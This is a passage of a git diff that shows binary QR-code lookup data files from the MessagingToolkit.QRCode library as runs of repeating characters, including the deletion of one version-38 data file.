ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOMNMNMNMNJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;:987878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOMNMNMMMMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOMMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;8787878765434343212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787874333333421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIHGFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDCBABABABA>=>=>=>=<;<;<;<;878787873434343421212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#        YYZZ[[\\00112233XXWWVVUU99::;;<<$$##""!!~~}}mmnnoopp - - SSRRQQPP>>??@@AA{{zzyyxxrrssttuu..--,,++XWWVVUUTCCDDEEFF]]^^__``99::;;<< - - TTSSRRQQ==>>??@@ ||{{zzyyqqrrsstt !!OONNMMLLBBCCDDEEwwvvuuttvvwwxxyy**))((''TSSRQPONGGHHIIJJaabbccdd==>>??@@ PPOONNMMAABBCCDDxxwwvvuuuuvvwwxx""##$$%%KKJJIIHHFFGGHHIIssrrqqppzz{{||}} !!&&%%$$##MMLLKKJJKKLLMMNNeeffgghhAABBCCDDLLKKJJIIEEFFGGHHttssrrqqyyzz{{||&&''(()) - -GGFFEEDDJJKKLLMMoonnmmll~~""##$$%%""!! IIHHGGFFOOPPQQRR iijjkkllEEFFGGHHHHGGFFEEIIJJKKLLppoonnmm}}~~**++,,-- CCBBAA@@NNOOPPQQ kkjjiihh&&''(())EEDDCCBBSSTTUUVV - - mmnnooppIIJJKKLLDDCCBBAAMMNNOOPP llkkjjii..//0011??>>==<>WWXXYYZZqqrrssttMMSSTTUU @@??>>==QQRRSSTT - - hhggffee223399::;;::9988VVWWXXYYccbbaa``..//0011==<<;;::[[\\]]^^uuvvwwxxVVWWXXYY!!""##$$<<;;::99UUVVWWXXddccbbaa;;<<==>>77665544ZZ[[\\]]__^^]]\\22334455 - -99876543__``aabbyyzz{{||ZZ[[\\]]%%&&''((88776655YYZZ[[\\``__^^]]??@@AABB !33221100^^__``aa[[ZZYYXX66778899 3221100/ccddeeff - -~~}}}}~~^^__``aa))**++,,44332211]]^^__``\\[[ZZYYCCDDEEFF!""##$$%//..--,,bbccddee WWVVUUTT::;;<<==/..--,,+gghhiijj ||{{zzyybbccddee--..//0000//..--aabbccddXXWWVVUUGGHHIIJJ%&&''(()++**))((ffgghhii - - SSRRQQPP>>??@@AA - - +**))(('kkllmmnnxxwwvvuuffggmmnn11223344,,++**))eeffgghh - - TTSSRRQQKKLLMMSS)**++,,-''&&%%$$jjkkllmmOONNMMLLBBCCDDEE '&&%%$$#~~}}||{{ooppqqrrttssrrqqooppqqrr55667788((''&&%%iijjkkll PPOONNMMTTUUVVWW-..//001##""!! ~~}}||nnooppqqKKJJIIHHFFGGHHII#""!! zzyyxxwwssttuuvvppoonnmmssttuuvv99::;;<<$$##""!!~~}}mmnnooppLLKKJJIIXXYYZZ[[12233456{{zzyyxxrrssttuuGGFFEEDDJJKKLLMMvvuuttsswwxxyyzzllkkjjiiwwxxyyzz==>>??@@ ||{{zzyyqqrrssttHHGGFFEE\\]]^^__7899::;;wwvvuuttvvwwxxyyCCBBAA@@NNOOPPQQ rrqqppoo{{||}}~~ !!""hhggffee{{||}}~~AABBCCDDxxwwvvuuuuvvwwxxDDCCBBAA``aabbcc<<==>>??ssrrqqppzz{{||}} !!??>>==<>==ddeeffgg@@AABBCCoonnmmll~~""##$$%%;;::9988VVWWXXYY%%&&''(( jjiihhgg''(())**``__^^]]IIJJKKLLppoonnmm}}~~!!""##$$<<;;::99mmnnooppDDEEFFGG kkjjiihh&&''(())77665544ZZ[[\\]]))**++,, - - ffeeddcc++,,--..\\[[ZZYYMMNNOOPP llkkjjii%%&&''((88776655qqrrssttHHIIJJKK - - ggffeedd**++,,--33221100^^__``aa--..//00bbaa``__//001122XXWWVVUUQQRRSSTT - - hhggffee))**++,,44332211uuvvwwxxLLMMNOPQccbbaa``..//0011//..--,,bbccddee11223399^^]]\\[[33445566TTSSRRQQUUVVWWXXddccbbaa--..//0000//..--yyzz{{||RSSTTUUV__^^]]\\22334455++**))((ffgghhii::;;<<==ZZYYXXWW778899::PPOONNMMYYZZ[[\\``__^^]]11223344,,++**))}}~~VWWXXYYZ[[ZZYYXX66778899''&&%%$$jjkkllmm>>??@@AA - -VVUUTTSS;;<<==>>LLKKJJII]]^^__``\\[[ZZYY55667788((''&&%%Z[[\\]]^ WWVVUUTT::;;<<==##""!! ~~}}||nnooppqqBBCCDDEE RRQQPPOO??@@AABBHHGGFFEEaabbccddXXWWVVUU99::;;<<$$##""!!~~}}^__``aab - - SSRRQQPP>>??@@AA{{zzyyxxrrssttuuFFGGHHIINNMMLLKKCCDDEEFFDDCCBBAAeeffgghh - - TTSSRRQQ==>>??@@ ||{{zzyybccddeefOONNMMLLBBCCDDEEwwvvuuttvvwwxxyyJJKKLLMMJJIIHHGGGGHHIIJJ@@??>>==iijjkkll PPOONNMMAABBCCDDxxwwvvuufgghijklKKJJIIHHFFGGHHIIssrrqqppzz{{||}}SSTTUUVVFFEEDDCCKKLLMMNN<<;;::99~~}}||{{mmnnooppLLKKJJIIEEFFGGHHttssrrqqmmnnooppGGFFEEDDJJKKLLMMoonnmmll~~WWXXYYZZBBAA@@??OOPPQQRR88776655zzyyxxwwqqrrssttHHGGFFEEIIJJKKLLppoonnmmqqrrssttCCBBAA@@NNOOPPQQ kkjjiihh[[\\]]^^ !!"">>==<<;;SSTTUUVV44332211vvuuttssuuvvwwxxDDCCBBAAMMNNOOPP llkkjjiiuuvvwwxx !!??>>==<>==QQRRSSTT - - hhggffeeyyzz{{||""##$$%%;;::9988VVWWXXYYccbbaa``ccddeeff''(())**66554433[[\\]]^^,,++**))nnmmggff}}~~!!""##$$<<;;::99UUVVWWXXddccbbaa}}~~&&''(())77665544ZZ[[\\]]__^^]]\\ggmmnnoo++,,--..221100//__``aabb((''&&%%eeddccbb~~}}||%%&&''((88776655YYZZ[[\\``__^^]]**++,,--33221100^^__``aa[[ZZYYXXppqqrrss//001122..--,,++ccddeeff$$##""!!aa``__^^{{zzyyxx))**++,,44332211]]^^__``\\[[ZZYY..//0011//..--,,bbccddee WWVVUUTTttuuvvww33445566**))((''gghhiijj ]]\\[[ZZwwvvuutt--..//0000//..--aabbccddXXWWVVUU22334455++**))((ffgghhii - - SSRRQQPPxxyyzz{{778899::&&%%$$##kkllmmnnYYXXWWVVssrrqqpp11223344,,++**))eeffgghh - - TTSSRRQQ66778899''&&%%$$jjkkllmmOONNMMLL||}}~~;;<<==>>""!! ~~}}||{{ooppqqrrUUTTSSMMoonnmmlk55667788((''&&%%iijjkkll PPOONNMM~~}}::;;<<==##""!! ~~}}||nnooppqqKKJJIIHH??@@AABBzzyyxxwwssttuuvvLLKKJJIIjihggffe99::;;<<$$##""!!~~}}mmnnooppLLKKJJII||{{zzyy>>??@@AA{{zzyyxxrrssttuuGGFFEEDDCCDDEEFFvvuuttsswwxxyyzz HHGGFFEEeddccbba==>>??@@ ||{{zzyyqqrrssttHHGGFFEExxwwvvuuBBCCDDEEwwvvuuttvvwwxxyyCCBBAA@@GGHHIIJJrrqqppoo{{||}}~~ - - DDCCBBAAa``__^^]AABBCCDDxxwwvvuuuuvvwwxxDDCCBBAAttssrrqqFFGGHHIIssrrqqppzz{{||}} !!??>>==<>==]\\[[ZZYEEFFGGHHttssrrqqyyzz{{|| @@??>>==ppoonnmmJJKKLLMMoonnmmll~~""##$$%%;;::9988OOPPQQRR jjiihhgg <<;;::99YXXWWVVUIIJJKKLLppoonnmm}}~~!!""##$$<<;;::99ggffeeddNNOOPPQQ kkjjiihh&&''(())77665544SSTTUUVV - - ffeeddcc33221100UTTSSRQPMMNNOOPP llkkjjii%%&&''((88776655ccbbaa``RRSSTTUU - - ggffeedd**++,,--33221100WWXXYYZZbbaa``__//..--,,ONMMLLKKQQRRSSTT - - hhggffee))**++,,44332211__^^]]\\VVWWXXYYccbbaa``..//0011//..--,,~~[[\\]]^^^^]]\\[[++**))((JJIIHHGGUUVVWWXXddccbbaa--..//0000//..--[[ZZYYXXZZ[[\\]]__^^]]\\22334455++**))((}}||{{zz__``aabbZZYYXXWW ''&&%%$$FFEEDDCCYYZZ[[\\``__^^]]11223344,,++**))WWVVUUTT^^__``aa[[ZZYYXX66778899''&&%%$$yyxxwwvvccddeeff - -VVUUTTSS!!""##$$##""!! BBAA@@??]]^^__``\\[[ZZYY55667788((''&&%%SSMMLLKKbbccddee WWVVUUTT::;;<<==##""!! uuttssrrgghhiijj RRQQPPOO%%&&''((>>==<<;;aabbccddXXWWVVUU99::;;<<$$##""!!JJIIHHGGffgghhii - - SSRRQQPP>>??@@AAqqppoonnkkllmmnnNNMMLLKK))**++,,::998765eeffgghh - - TTSSRRQQ==>>??@@ FFEEDDCCjjkkllmmOONNMMLLBBCCDDEEmmggffeeooppqqrrJJIIHHGG--..//0043322110iijjkkll PPOONNMMAABBCCDDBBAA@@??~~}}||nnooppqqKKJJIIHHFFGGHHIIddccbbaassttuuvvFFEEDDCC11223344 0//..--,~~}}mmnnooppLLKKJJIIEEFFGGHH>>==<<;;{{zzyyxxrrssttuuGGFFEEDDJJKKLLMM``__^^]]wwxxyyzzBBAA@@??vvuuttss55667788 - - - -,++**))(||{{zzyyqqrrssttHHGGFFEEIIJJKKLL::993322wwvvuuttvvwwxxyyCCBBAA@@NNOOPPQQ \\[[ZZYY~~}}||{{{{||}}~~ !!"">>==<<;;rrqqppoo99::;;<< (''&&%%$xxwwvvuuuuvvwwxxDDCCBBAAMMNNOOPP 1100//..ssrrqqppzz{{||}} !!??>>==<>??@@$##""!! ttssrrqqyyzz{{|| @@??>>==QQRRSSTT - - --,,++**oonnmmll~~""##$$%%;;::9988VVWWXXYYTTSSMMLLvvuuttss''(())**66554433jjiihhggAABBCCDD ppoonnmm}}~~!!""##$$<<;;::99UUVVWWXX))((''&&kkjjiihh&&''(())77665544ZZ[[\\]]KKJJIIHHrrqqppoo++,,--..221100//ffeeddccEEFFGGHHllkkjjii%%&&''((88776655YYZZ[[\\%%$$##""ggffeedd**++,,--33221100^^__``aaGGFFEEDDnnmmlkji//001122..--,,++bbaa``__IIJJKKLL !!""##hhggffee))**++,,44332211]]^^__``!! ccbbaa``..//0011//..--,,bbccddee CCBBAA@@hggffeed33445566**))((''^^]]\\[[MMNNOOPP$$%%&&''ddccbbaa--..//0000//..--aabbccdd - - __^^]]\\22334455++**))((ffgghhii - - ??>>==<>""!! ~~}}||{{VVUUTTSSUUVVWWXX,,--..// \\[[ZZYY55667788((''&&%%iijjkkll WWVVUUTT::;;<<==##""!! ~~}}||nnooppqq221100//\[[ZZYYX??@@AABBzzyyxxwwRRQQPPOONNMMLLKKCCDDEEFF@@??>>==}}||{{zzppqqrrssIIHHGGFFHHIIJJKKbbaa``__uuvvwwxxDDCCBBAAMMNNOOPP llkkjjiiuuvvwwxx !!??>>==<>==QQRRSSTT - - hhggffeeyyzz{{||""##$$%%;;::9988VVWWXXYYLLKKJJII__^^]]\\FFEEDDCCKKLLMMNN33221100uuttssrrxxyyzz{{AA@@??>>PPQQRRSS - -ZZYYXXWW||{{zzyy}}~~!!""##$$<<;;::99UUVVWWXXddccbbaa}}~~&&''(())77665544ZZ[[\\]]HHGGFFEE[[ZZYYXXBBAA@@??OOPPQQRR //..--,,qqppoonn||}}~~ !!""##==<<;;::TTUUVVWW VVUUTTSSxxwwvvuu%%&&''((88776655YYZZ[[\\``__^^]]**++,,--33221100^^__``aaDDCCBBAAWWVVUUTT>>==<<;;SSTTUUVV - - ++**))((mmllkkjj$$%%&&''99887766XXYYZZ[[MMLLKKJJttssrrqq))**++,,44332211]]^^__``\\[[ZZYY..//0011//..--,,bbccddee @@??>>==SSRRQQPP::998877WWXXYYZZ''&&%%$$iihhggff(())**++55443322\\]]^^__IIHHGGFFppoonnmm--..//0000//..--aabbccddXXWWVVUU22334455++**))((ffgghhii - - <<;;::99OONNMMLL66554433[[\\]]^^##""!! eeddccbb,,--..//1100//..``aabbccEEDDCCBBlkjihggf11223344,,++**))eeffgghh - - TTSSRRQQ66778899''&&%%$$jjkkllmm33221100KKJJIIHH221100//__``aabb - -aa``__^^00112233--,,++**ddeeffgg - - AA@@??>>feeddccb55667788((''&&%%iijjkkll PPOONNMM~~}}::;;<<==##""!! ~~}}||nnooppqq//..--,,GGFFEEDD..--,,++ccddeeff ]]\\[[ZZ44556677))((''&&hhiijjkk ==<<;;::baa``__^99::;;<<$$##""!!~~}}mmnnooppLLKKJJII||{{zzyy>>??@@AA{{zzyyxxrrssttuu++**))((CCBBAA@@**))((''gghhiijjYYXXWWVV8899::;;%%$$##""~~llmmnnoo99332211^]]\\[[Z==>>??@@ ||{{zzyyqqrrssttHHGGFFEExxwwvvuuBBCCDDEEwwvvuuttvvwwxxyy''&&%%$$??>>==<<&&%%$$##kkllmmnn UUTTSSRR<<==>>??!! }}||{{zzppqqrrss00//..--ZYYXXWWVAABBCCDDxxwwvvuuuuvvwwxxDDCCBBAAttssrrqqFFGGHHIIssrrqqppzz{{||}} !!##""!! ;;::9988""!! ~~}}||{{ooppqqrr - - QQPPOONN@@AABBCCyyxxwwvvttuuvvww,,++**))VUUTTSSREEFFGGHHttssrrqqyyzz{{|| @@??>>==ppoonnmmJJKKLLMMoonnmmll~~""##$$%%77665544zzyyxxwwssttuuvv !!""##MMLLKKJJDDEEFFGGuuttssrrxxyyzz{{((''&&%%QPONMMLLIIJJKKLLppoonnmm}}~~!!""##$$<<;;::99ggffeeddNNOOPPQQ kkjjiihh&&''(())33221100vvuuttsswwxxyyzz$$%%&&''IIHHGGFFHHIIJJKKqqppoonn||}}~~ !!""##$$##""!!KKJJIIHHMMNNOOPP llkkjjii%%&&''((88776655ccbbaa``RRSSTTUU - - ggffeedd**++,,--//..--,,rrqqppoo{{||}}~~(())**++ - - EEDDCCBBLLMMNNOOmmllkkjj$$%%&&'' GGFFEEDDQQRRSSTT - - hhggffee))**++,,44332211__^^]]\\VVWWXXYYccbbaa``..//0011 ++**))((nnmmllkk,,--..// AA@@??>>PPQQRRSS - -iihhggff(())**++CCBBAA@@UUVVWWXXddccbbaa--..//0000//..--[[ZZYYXXZZ[[\\]]__^^]]\\22334455 - - - -''&&%%$$ jjiihhgg00112233==<<;;::TTUUVVWW eeddccbb,,--..//??>>==<>??@@55443322\\]]^^__]]\\[[ZZ44556677 - - 65433221aabbccddXXWWVVUU99::;;<<$$##""!!JJIIHHGGffgghhii - - SSRRQQPP>>??@@AA^^]]\\[[AABBCCDD !!""#1100//..``aabbccYYXXWWVV8899::;;100//..-eeffgghh - - TTSSRRQQ==>>??@@ FFEEDDCCjjkkllmmOONNMMLLBBCCDDEEZZYYXXWWEEFFGGHH#$$%%&&'--,,++**ddeeffgg - - UUTTSSRR<<==>>?? -,,++**)iijjkkll PPOONNMMAABBCCDDBBAA@@??~~}}||nnooppqqKKJJIIHHFFGGHHII !!""## - -VVUUTTSSIIJJKKLL'(())**+))((''&&hhiijjkk QQPPOONN@@AABBCC - - )((''&&%~~}}mmnnooppLLKKJJIIEEFFGGHH>>==<<;;{{zzyyxxrrssttuuGGFFEEDDJJKKLLMM$$%%&&'' RRQQPPOOMMSSTTUU+,,--../%%$$##""~~llmmnnooMMLLKKJJDDEEFFGG%$$##""!||{{zzyyqqrrssttHHGGFFEEIIJJKKLL::993322wwvvuuttvvwwxxyyCCBBAA@@NNOOPPQQ(())**++ - - NNMMLLKKVVWWXXYY/0011223!! }}||{{zzppqqrrssIIHHGGFFHHIIJJKK! xxwwvvuuuuvvwwxxDDCCBBAAMMNNOOPP 1100//..ssrrqqppzz{{||}} !!??>>==<>==QQRRSSTT - - --,,++**oonnmmll~~""##$$%%;;::9988VVWWXXYY00112233FFEEDDCC^^__``aa::;;<<==uuttssrrxxyyzz{{AA@@??>>PPQQRRSS !!""ppoonnmm}}~~!!""##$$<<;;::99UUVVWWXX))((''&&kkjjiihh&&''(())77665544ZZ[[\\]]99::;;<<BBAA@@??bbccddee>>??@@AAqqppoonn||}}~~ !!""##==<<;;::TTUUVVWW##$$%%&&llkkjjii%%&&''((88776655YYZZ[[\\%%$$##""ggffeedd**++,,--33221100^^__``aa==>>??@@ !!"">>==<<;;ffggmmnnBBCCDDEEmmllkkjj$$%%&&''99887766XXYYZZ[[''(())** hhggffee))**++,,44332211]]^^__``!! ccbbaa``..//0011//..--,,bbccddeeAABBCCDD##$$%%&&::998877ooppqqrrFFGGHHII - -iihhggff(())**++55443322\\]]^^__++,,--.. - - ddccbbaa--..//0000//..--aabbccdd - - __^^]]\\22334455++**))((ffgghhiiEEFFGGHH !!''(())**66554433ssttuuvvJJKKLLMM eeddccbb,,--..//1100//..``aabbcc//001122``__^^]]11223344,,++**))eeffgghh [[ZZYYXX66778899''&&%%$$jjkkllmmIIJJKKLL""##$$%%++,,--..221100//wwxxyyzzNOPQRSSTaa``__^^00112233--,,++**ddeeffgg3399::;;\\[[ZZYY55667788((''&&%%iijjkkll WWVVUUTT::;;<<==##""!! ~~}}||nnooppqqMMSSTTUU&&''(())//001122..--,,++{{||}}~~TUUVVWWX]]\\[[ZZ44556677))((''&&hhiijjkk<<==>>??XXWWVVUU99::;;<<$$##""!!~~}}mmnnoopp - - SSRRQQPP>>??@@AA{{zzyyxxrrssttuuVVWWXXYY**++,,--33445566**))((''XYYZZ[[\YYXXWWVV8899::;;%%$$##""~~llmmnnoo@@AABBCC - - TTSSRRQQ==>>??@@ ||{{zzyyqqrrsstt !!OONNMMLLBBCCDDEEwwvvuuttvvwwxxyyZZ[[\\]]..//0011778899::&&%%$$##\]]^^__` - - UUTTSSRR<<==>>??!! }}||{{zzppqqrrssDDEEFFGG PPOONNMMAABBCCDDxxwwvvuuuuvvwwxx""##$$%%KKJJIIHHFFGGHHIIssrrqqppzz{{||}}^^__``aa22334455;;<<==>>""!! ~~}}||{{`aabbccd QQPPOONN@@AABBCCyyxxwwvvttuuvvwwHHIIJJKKLLKKJJIIEEFFGGHHttssrrqqyyzz{{||&&''(()) - -GGFFEEDDJJKKLLMMoonnmmll~~bbccddee66778899??@@AABBzzyyxxwwdeeffgghMMLLKKJJDDEEFFGGuuttssrrxxyyzz{{LLMMSSTTHHGGFFEEIIJJKKLLppoonnmm}}~~**++,,-- CCBBAA@@NNOOPPQQ kkjjiihhffggmmnn::;;<<==CCDDEEFFvvuuttssijklmmnnIIHHGGFFHHIIJJKKqqppoonn||}}~~UUVVWWXXDDCCBBAAMMNNOOPP llkkjjii..//0011??>>==<>??@@AAGGHHIIJJrrqqppooooppqqrrEEDDCCBBLLMMNNOOmmllkkjjYYZZ[[\\ @@??>>==QQRRSSTT - - hhggffee223399::;;::9988VVWWXXYYccbbaa``ssttuuvvBBCCDDEEKKLLMMNNnnmmllkkssttuuvvAA@@??>>PPQQRRSS - -iihhggff]]^^__``!!""##$$<<;;::99UUVVWWXXddccbbaa;;<<==>>77665544ZZ[[\\]]__^^]]\\wwxxyyzzFFGGHHIIOOPPQQRR jjiihhggwwxxyyzz !!""##==<<;;::TTUUVVWW eeddccbbaabbccdd%%&&''((88776655YYZZ[[\\``__^^]]??@@AABB !33221100^^__``aa[[ZZYYXX{{||}}~~JJKKLLMMSSTTUUVV - - ffeeddcc{{||}}~~$$%%&&''99887766XXYYZZ[[aa``__^^eeffggmm))**++,,44332211]]^^__``\\[[ZZYYCCDDEEFF!""##$$%//..--,,bbccddee WWVVUUTTNNOOPPQQWWXXYYZZbbaa``__(())**++55443322\\]]^^__]]\\[[ZZnnooppqq--..//0000//..--aabbccddXXWWVVUUGGHHIIJJ%&&''(()++**))((ffgghhii - - SSRRQQPPRRSSTTUU[[\\]]^^^^]]\\[[,,--..//1100//..``aabbccYYXXWWVVrrssttuu11223344,,++**))eeffgghh - - TTSSRRQQKKLLMMSS)**++,,-''&&%%$$jjkkllmmOONNMMLLVVWWXXYY__``aabbZZYYXXWW00112233--,,++**ddeeffgg - - UUTTSSRRvvwwxxyy55667788((''&&%%iijjkkll PPOONNMMTTUUVVWW-..//001##""!! ~~}}||nnooppqqKKJJIIHHZZ[[\\]]ccddeeff - -VVUUTTSS44556677))((''&&hhiijjkk QQPPOONNzz{{||}}99::;;<<$$##""!!~~}}mmnnooppLLKKJJIIXXYYZZ[[12233456{{zzyyxxrrssttuuGGFFEEDD^^__``aagghhiijj RRQQPPOO8899::;;%%$$##""~~llmmnnooMMLLKKJJ~~==>>??@@ ||{{zzyyqqrrssttHHGGFFEE\\]]^^__7899::;;wwvvuuttvvwwxxyyCCBBAA@@bbccddeekkllmmnnNNMMLLKK~~}}||{{<<==>>??!! }}||{{zzppqqrrssIIHHGGFFAABBCCDDxxwwvvuuuuvvwwxxDDCCBBAA``aabbcc<<==>>??ssrrqqppzz{{||}} !!??>>==<>==ddeeffgg@@AABBCCoonnmmll~~""##$$%%;;::9988jjkkllmmssttuuvvFFEEDDCCvvuuttssDDEEFFGGuuttssrrxxyyzz{{AA@@??>>IIJJKKLLppoonnmm}}~~!!""##$$<<;;::99mmnnooppDDEEFFGG kkjjiihh&&''(())77665544nnooppqqwwxxyyzzBBAA@@??rrqqppooHHIIJJKKqqppoonn||}}~~ !!""##==<<;;::MMNNOOPP llkkjjii%%&&''((88776655qqrrssttHHIIJJKK - - ggffeedd**++,,--33221100rrssttuu{{||}}~~ !!"">>==<<;;nnmmggffLLMMNNOOmmllkkjj$$%%&&''99887766QQRRSSTT - - hhggffee))**++,,44332211uuvvwwxxLLMMNOPQccbbaa``..//0011//..--,,~~}}||{{vvwwxxyy##$$%%&&::998877eeddccbbPPQQRRSS - -iihhggff(())**++55443322UUVVWWXXddccbbaa--..//0000//..--yyzz{{||RSSTTUUV__^^]]\\22334455++**))((zzyyxxwwzz{{||}}''(())**66554433aa``__^^TTUUVVWW eeddccbb,,--..//1100//..YYZZ[[\\``__^^]]11223344,,++**))}}~~VWWXXYYZ[[ZZYYXX66778899''&&%%$$vvuuttss~~}}||~~++,,--..221100//]]\\[[ZZXXYYZZ[[aa``__^^00112233--,,++**~~}}||]]^^__``\\[[ZZYY55667788((''&&%%Z[[\\]]^ WWVVUUTT::;;<<==##""!! rrqqppoo{{zzyyxx//001122..--,,++YYXXWWVV\\]]^^__]]\\[[ZZ44556677))((''&&{{zzyyxxaabbccddXXWWVVUU99::;;<<$$##""!!~~}}^__``aab - - SSRRQQPP>>??@@AAnnmmggffwwvvuutt33445566**))((''UUTTSSMM``aabbccYYXXWWVV8899::;;%%$$##""wwvvuutteeffgghh - - TTSSRRQQ==>>??@@ ||{{zzyybccddeefOONNMMLLBBCCDDEEeeddccbbssrrqqpp778899::&&%%$$##LLKKJJIIddeeffgg - - UUTTSSRR<<==>>??!! ssrrqqppiijjkkll PPOONNMMAABBCCDDxxwwvvuufgghijklKKJJIIHHFFGGHHIIaa``__^^oonnmmll;;<<==>>""!! HHGGFFEEhhiijjkk QQPPOONN@@AABBCCoonnmmggmmnnooppLLKKJJIIEEFFGGHHttssrrqqmmnnooppGGFFEEDDJJKKLLMM]]\\[[ZZkkjjiihh??@@AABBDDCCBBAA~~llmmnnooMMLLKKJJDDEEFFGGffeeddccqqrrssttHHGGFFEEIIJJKKLLppoonnmmqqrrssttCCBBAA@@NNOOPPQQ YYXXWWVVggffeeddZHAbtArdrXQJ`vffے`JXQtArdp˂rbdQZ|ZHAbtlJp˂rbdQZ|˂pZZdQbtJ`ےdrtAJ`JXQrrd|˂rXQZ|d`JXQlJtArHAZp˂tbdQے`JXQ|ZdQbp˂r`vXnr˂p|ZdQbXQJ`ےdrtAے`JXQtArdXQHAZpltbHAbےlJtAbHAZpltb˂pZZdQbtJ`ےrtAJlrZAbdfrXQJZ|dr˂ptlJXQJ`ےvpfZHAbtlJbHAZJltr˂p|ZdQb˂rXQnvp`JXQrrdf˂rXQdQZ|HAbےlJtAbHAZptbdQے`J~Hfp`ےbrtAJlZHAbtArdbHAZH~fے`JXQtArdp˂rbdQZ|ZHAbtlJJ`ےff`v˂pZ~HfJ`ےdrtAJ`JXQrrd|˂rXQZ|dXQr˂vnXHAZp˂tbdQے`JXQ|ZdQbp˂r`vXnr˂pf~HXQJ`ےdrtAے`JXQtArdbHAZpXnvHAbےpvnb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QZbے`~HfpbHAZ`vXnr˂pf~HXQJ`ےdrtAے`JXQZdQtArbHAZvpfHHAbےpvnbHAZpltbے`JH~ㅐfbAdZ|66666666666666666666666666666666666666666666666667777777777 \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_0.dat deleted file mode 100644 index 02972f2..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv38_0.dat +++ /dev/null @@ -1,337 +0,0 @@ -~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbaba`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststspopopoponmnmnmnmlkkkkkkljijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutststsrqpopopoponmnmnmnmklklklkljijijijihghghghgfefefefedcdcbaba`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvurqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDC~}~}~